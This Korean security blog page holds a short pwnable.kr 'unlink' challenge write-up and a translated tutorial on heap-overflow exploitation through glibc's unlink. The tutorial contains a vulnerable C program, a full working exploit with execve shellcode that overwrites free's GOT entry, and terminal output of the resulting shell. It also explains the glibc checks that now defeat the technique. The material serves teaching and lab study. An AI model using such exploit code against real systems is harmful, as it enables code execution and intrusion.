달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'unlink'에 해당되는 글 2

  1. 2017.07.09 [문제풀이] pwnable.kr - unlink
  2. 2017.07.06 [Linux] Heap overflow using unlink - 번역글
2017. 7. 9. 15:14

[문제풀이] pwnable.kr - unlink Wargames/pwnable.kr2017. 7. 9. 15:14



※ 문제풀이 


해당 문제는 unlink 과정을 시뮬레이션하여 메모리를 덮어쓰는 것으로 덮어쓰는 위치를 잘 조정하면 프로그램의 EIP를 변경할 수 있다. 


핵심적으로 이해해야 할 코드 부분은 아래와 같다. 


typedef struct tagOBJ{

  struct tagOBJ* fd;

  struct tagOBJ* bk;

  char buf[8];

}OBJ;


void unlink(OBJ* P) {

  OBJ* BK;

  OBJ* FD;

  BK=P->bk;

  FD=P->fd;

  FD->bk=BK;

  BK->fd=FD;

..... 

int main(int argc, char*argv[]) {


OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

....

gets(A->buf);

....

unlink(B);

return 0;


}


unlink 함수에 전달되는 OBJ 인스턴스를 변조하여 내가 쓰고 싶은 부분에 값을 쓸 수 있다. 

이는 내가 입력한 값에 대한 입력 값 검증이 존재하지 않아 가능하게 된다. 


즉, 내가 A->buf에 입력한 값이 B에 영향을 끼친다. 


이로써 실행 흐름을 변경할 수 있고 결국 플래그를 획득할 수 있게 된다. 



문제풀이 끝!





블로그를 쓰면 쓸수록 성의가 없어지는 것 같네 ㅠㅠ 시간있을 때 조금 더 보충하도록 하겠음!!



'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
[문제풀이] pwnable.kr - leg  (0) 2017.07.09
:
Posted by einai

Understanding glibc malloc 


이 포스터에서 우리는 언링크 기술을 이용하여 어떻게 힙 오버플로우가 성공적으로 익스플로잇 되는지 알아볼 것이다. 하지만 언링크를 살펴보기 이전에 첫 번째로 취약한 프로그램 코드를 살펴보도록 하자.


/* 

 Heap overflow vulnerable program. 

 */

#include <stdlib.h>

#include <string.h>


int main( int argc, char * argv[] )

{

        char * first, * second;


/*[1]*/ first = malloc( 666 );

/*[2]*/ second = malloc( 12 );

        if(argc!=1)

/*[3]*/         strcpy( first, argv[1] );

/*[4]*/ free( first );

/*[5]*/ free( second );

/*[6]*/ return( 0 );

}


위 코드의 [3] 라인은 힙 오버플로우를 발생시킨다. 사용자의 입력값 'argv[1]'은 어떠한 입력값 제한없이 힙 버퍼의 first에 문자열을 복사한다. 그렇기 때문에 사용자의 입력 값이 666 바이트보다 크다면 다음 청크의 청크 헤더를 덮어쓰게 된다. 이 오버플로우는 임의의 코드 실행을 이끌게 한다. 


그림을 이용하여 취약한 프로그램의 힙 메모리 영역을 보도록 하자. 




언링크(Unlink) : 이 기술의 주 아이디어는 'glibc malloc'을 속여 'second' 청크를 언링크하는 것이다. 언링킹하는 동안에 free 함수의 GOT 엔트리는 쉘코드의 주소로 덮어써질 것이다. 성공적으로 덮어써진 뒤에, [5] 라인에 있는 free 함수가 취약한 프로그램에 의해 호출될 때 쉘코드는 실행될 것이다. 

굉장히 깔끔하지 않은가? 우선 free가 실행될 때 'glibc malloc'이 하는 행위를 보도록 하자.  


공격자가 영향력을 행사하기 전에 [4] 라인에 있는 free 함수는 아래의 행위를 할 것이다. 


  •  non mapped chunk에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
  • 뒤에 있는 청크와의 병합
    • 이전 청크 상태가 프리일 경우 - 만약 현재 프리된 청크의 PREV_INUSE(P) 비트가 설정되어 있지 않으면 이전 청크의 상태는 프리이다. 하지만 우리의 경우, 'first'의 PREV_INUSE 비트가 설정되어 있기 때문에 이전 청크는 할당되어 있다(힙 메모리의 첫번째 청크의 이전의 기본 청크는 심지어 존재하지 않더라도 할당되어 있다).
    • 프리 상태일 경우 - 이것의 BINLIST 로부터 이전 청크를 언링크하고, 이전 청크의 크기를 현재 크기에 더하고 청크의 포인터를 이전 청크의 포인터로 변경한다. 하지만 우리의 경우, 이전 청크가 할당되어 있기 때문에 언링킹 과정은 발생하지 않는다. 따라서 현재 프리된 청크 'first'는 뒤 청크와 병합되지 못할 것이다. 
    • 앞에 있는 청크와의 병합 
      • 다음 청크 상태가 프리일 경우 - 만약 다-다음 청크(next-to-next chunk)의 PREV-INUSE(P) 비트가 설정되어 있지 않으면 다음 청크의 상태는 프리이다. 다-다음 청크를 찾아가기 위해, 현재 프리된 청크의 크기를 이것의 청크 포인터에 더하고 다음 청크의 크기를 다음 청크의 포인터에 더한다. 우리의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크(top chunk)이고 이것의 PREV_INUSE 비트는 설정되어 있다. 따라서 다음 청크 'second' 청크는 프리 상태가 아니다(즉, 다 다음 청크의 PREV_INUSE 비트 설정 여부를 파악하여 다음 청크의 상태를 체크한다는 의미).
      • 프리 상태일 경우 - 이것의 BINLIST 로부터 다음 청크를 언링크하고 다음 청크의 사이즈를 현재의 청크 사이즈에 더한다 . 하지만 우리의 경우 다음 청크는 할당되어 있고 따라서 언링크 과정은 발생되지 않는다. 따라서 현재 프리된 청크 'first'는 앞 쪽의 청크와 병합될 수 없다. 
      • 이제 병합된 청크를 'unsorted bin'에 추가한다. 우리의 경우 병합 과정이 발생하지 않았기 때문에 'first' 청크만 'unsorted bin'에 추가된다. 


      이제 공격자가 [3] 라인에서 'second' 청크의 청크 헤더를 아래와 같이 덮어쓰게 해보자.

      • PREV_SIZE = 짝수로 설정, 따라서 PREV_INUSE 비트는 설정되어 있지 않다. 
      • SIZE = -4
      • FD = free address - 12  (free 함수의 GOT 엔트리 주소 - 12)
      • BK = Shellcode address 

      공격자가 영향력을 행사함에 따라 [4] 라인에 있는 'free' 함수는 아래와 같이 동작할 것이다. 

      • non mapped chunks 에 대해, 앞이나 뒤에 있는 청크들과 병합할 것이다. 
      • 뒤에 있는 청크와의 병합 
        • 이전 청크 상태가 프리일 경우 - (동일)
        • 프리 상태일 경우 - (동일)
        • 앞에 있는 청크와의 병합 
          • 다음 청크 상태가 프리일 경우 - 지금 상태의 경우 프리된 'first' 청크의 다-다음 청크는 탑 청크가 아니다. 공격자가 'second' 청크의 크기를 -4로 덮어썼기 때문에 'second' 청크로부터 -4 떨어진 곳에 다-다음 청크가 있다. 따라서 'glibc malloc'은 'second' 청크의 PREV_INUSE 필드를 다-다음 청크의 크기로 취급한다. 공격자가 PREV_SIZE 대신에 짝수로 덮어썼기 때문에 'glibc malloc'은 'second' 청크가 프리 상태라고 생각한다. 
          • 프리 상태일 경우 - 지금 상태의 경우 다음 청크가 프리 상태이고 따라서 'second' 청크는 아래와 같은 언링크 과정을 따른다. 
          • 'second' 청크의 FD와 BK 값을 변수 FD와 BK로 각각 복사한다. 우리의 경우 FD = free address - 12 와 BK = shellcode address 로 복사한다(힙 오버플로우의 경우, 공격자는 그의 쉘코드를 'first' 힙 버퍼에 위치시킨다). 
          • BK의 값은 FD로부터 오프셋 12 위치에 복사된다. 우리의 경우 'free' 함수의 GOT 엔트리를 가리키는 FD에 12바이트를 더해주었고 따라서 이제 'free' 함수의 GOT 엔트리는 쉘코드 주소로 덮어써진다. 이제 'free' 함수가 불러질 때마다 쉘코드는 실행될 것이다. 따라서 취약한 프로그램에서 [5] 라인을 실행할 때마다 쉘 코드가 실행되는 것이다. 


        공격자가 청크헤더를 변조시킨 내용을 그림으로 확인해보자. 




        언링크 기술을 이해하기 위해, 익스폴리잇을 작성해보겠다. 

        /* Program to exploit 'vuln' using unlink technique.

         */

        #include <string.h>

        #include <unistd.h>


        #define FUNCTION_POINTER ( 0x0804978c )      //Address of GOT entry for free function obtained using "objdump -R vuln".

        #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable. 


        #define VULNERABLE "./vuln"

        #define DUMMY 0xdefaced

        #define PREV_INUSE 0x1


        char shellcode[] =

                /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function

                (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 

                Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/

                "\xeb\x0assppppffff"

                "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"

                "\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


        int main( void )

        {

                char * p;

                char argv1[ 680 + 1 ];

                char * argv[] = { VULNERABLE, argv1, NULL };


                p = argv1;

                /* the fd field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the fd_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* the bk_nextsize field of the first chunk */

                *( (void **)p ) = (void *)( DUMMY );

                p += 4;

                /* Copy the shellcode */

                memcpy( p, shellcode, strlen(shellcode) );

                p += strlen( shellcode );

                /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 

                of first chunk */

                memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );

                p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );

                /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */

                *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );

                p += 4;

                /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/

                *( (size_t *)p ) = (size_t)( -4 );

                p += 4;

                /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function

                would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 

                second chunk's bk field (see below) */

                *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );

                p += 4;

                /* the bk field of the second chunk. It should point to shell code address.*/

                *( (void **)p ) = (void *)( CODE_ADDRESS );

                p += 4;

                /* the terminating NUL character */

                *p = '';


                /* the execution of the vulnerable program */

                execve( argv[0], argv, NULL );

                return( -1 );

        }



        위의 프로그램을 실행시키면 새로운 쉘이 발생한다. 


         sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ gcc -g -o exp exp.c

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$ ./exp 

        $ ls

        cmd  exp  exp.c  vuln  vuln.c

        $ exit

        sploitfun@sploitfun-VirtualBox:~/lsploits/hof/unlink$




        지금은 'glibc malloc'이 보완되었기 때문에 언링크 기술이 동작하지 않는다. 

        취약한 버전 : glib 2.3.2 이하의 버전 


        아래의 점검 로직이 언링크 기술을 방어하기 위해 추가되었다. 



        Double free 

        이미 프리 상태에 있는 청크를 프리하는 행위는 금지된다. 공격자가 SIZE를 덮어쓰고 난 뒤 'second' 청크의 PREV_INUSE의 비트 값은 설정되어 있지 않기 때문에 'glibc malloc'은 'first' 청크가 이미 프리되어 있다고 판단하고 Double free 에러를 발생시킨다. 


        if (__glibc_unlikely (!prev_inuse(nextchunk)))

        {

        errstr = "double free or corruption (!prev)";

        goto errout;

        }


        Invalid next size 

        다음 청크 크기는 아레나의 총 시스템 메모리에 8바이트 사이여야 한다. 공격자가 'second' 청크의 사이즈를 -4로 덮어쓸 때, 'glibc malloc'은 유효하지 않은 사이즈 에러를 발생시킨다. 

        Next chunk size should lie between 8 bytes to arena's total system memory.

        (아레나의 총 시스템 메모리라는 의미를 잘 몰라서 원본을 첨부시켜놓겠다. 아시는 분은 설명 부탁드려용 - 대략 8 배수라는 의미 같기는 한데...) 

        if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)

        || __builtin_expect (nextsize >= av->system_mem, 0))

          {

        errstr = "free(): invalid next size (normal)";

        goto errout;

          }



        Currupted Double Linked list 

        이전 청크의 FD와 다음 청크의 BK는 현재 언링크되어 있는 청크를 가리켜야 한다. 공격자가 FD와 BK를 free-12 와 쉘코드 주소로 덮어쓴다면 free 와 쉘코드 주소 + 8은 현재의 언링크된 청크를 가리키지 않기 때문에 'glibc malloc'은 오염된 이중 링크드 리스트 에러를 발생시킬 것이다. 


        if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     

          malloc_printerr (check_action, "corrupted double-linked list", P); 





        데모를 목적으로 취약한 프로그램은 아래의 리눅스 보호 메커니즘을 제외한 뒤에 컴파일 되었다. 

        ASLR, NX, RELRO









        차근차근 하나씩 조지자. 





        Reference 

        [1] Heap overflow using unlink, https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/

        [2] Heap overflow using unlink(Translation), 

        http://blog.naver.com/PostView.nhn?blogId=mathboy7&logNo=220651761122&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView

        'Security > Exploits' 카테고리의 다른 글

        [Linux] 쉘코드 모음집  (0) 2017.07.06
        [Windows] 쉘코드 모음집  (0) 2017.07.06
        [Linux] 쉘코드 제작 요약 설명  (0) 2017.07.06
        [Windows] C++ vtable overwrite  (0) 2017.07.05
        :
        Posted by einai